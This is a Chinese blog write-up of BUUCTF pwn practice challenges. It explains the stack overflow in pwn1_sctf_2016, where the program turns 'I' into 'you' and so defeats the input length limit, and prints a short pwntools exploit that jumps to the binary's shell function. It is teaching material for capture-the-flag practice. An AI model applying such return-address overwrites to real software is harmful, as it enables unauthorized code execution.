标签:mic imp col code lock block 题目 span 在家
在做buu题目的时候,发现在最上面有几道被各位师傅打到1分的题,强迫症逼迫我去做那几道题。
这里来试着去解决这些题。。。讲真的,我感觉自己刷题真的少,即使是很简单的栈题目,我还是能学习到新的东西。这里就记录一下这几道题。
pwn1_sctf_2016
检查了一下保护,32位程序,只开启了堆栈不可执行。直接ida看一下伪代码吧。
看代码也就是一个简单的栈溢出。但是我并没有自己做出这道题,太菜了。。。大一下学期我们有开设C++这门课,但是我由于一些事情,在家休息了一个多月,结果课也落下了。。。太痛苦了,C++吃亏在这里了,总要补的。。。
其实这个CTF就应该半分做,半分蒙。可以看到fgets是对我们输入的内容进行了限制,所以我们不能溢出到返回地址,但是可以看到两个字符串“I”和“you”,其实应该输入这几个字符串进去看看是什么意思的。
这里其实是一个回显,但是你如果输入“I”的话,就会给你自动转换成you,所以就解决溢出不到返回地址的问题了。接下来就是计算了。题目本身有可以直接拿shell的函数,直接返回地址转到那个shell 的地址就行了。还是羞耻的贴一下exp:
1 from pwn import * 2 3 p = process(‘./1‘) 4 context.log_level = ‘debug‘ 5 6 shell_addr = 0x08048F0D 7 8 payload = ‘I‘*21 + ‘b‘ + p32(shell_addr) 9 p.sendline(payload) 10 p.recv() 11 p.recv()
ciscn_2019_n_1
64位程序,保护只开启了堆栈不可执行。
&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&
标签:mic imp col code lock block 题目 span 在家
原文地址:https://www.cnblogs.com/bhxdn/p/12653991.html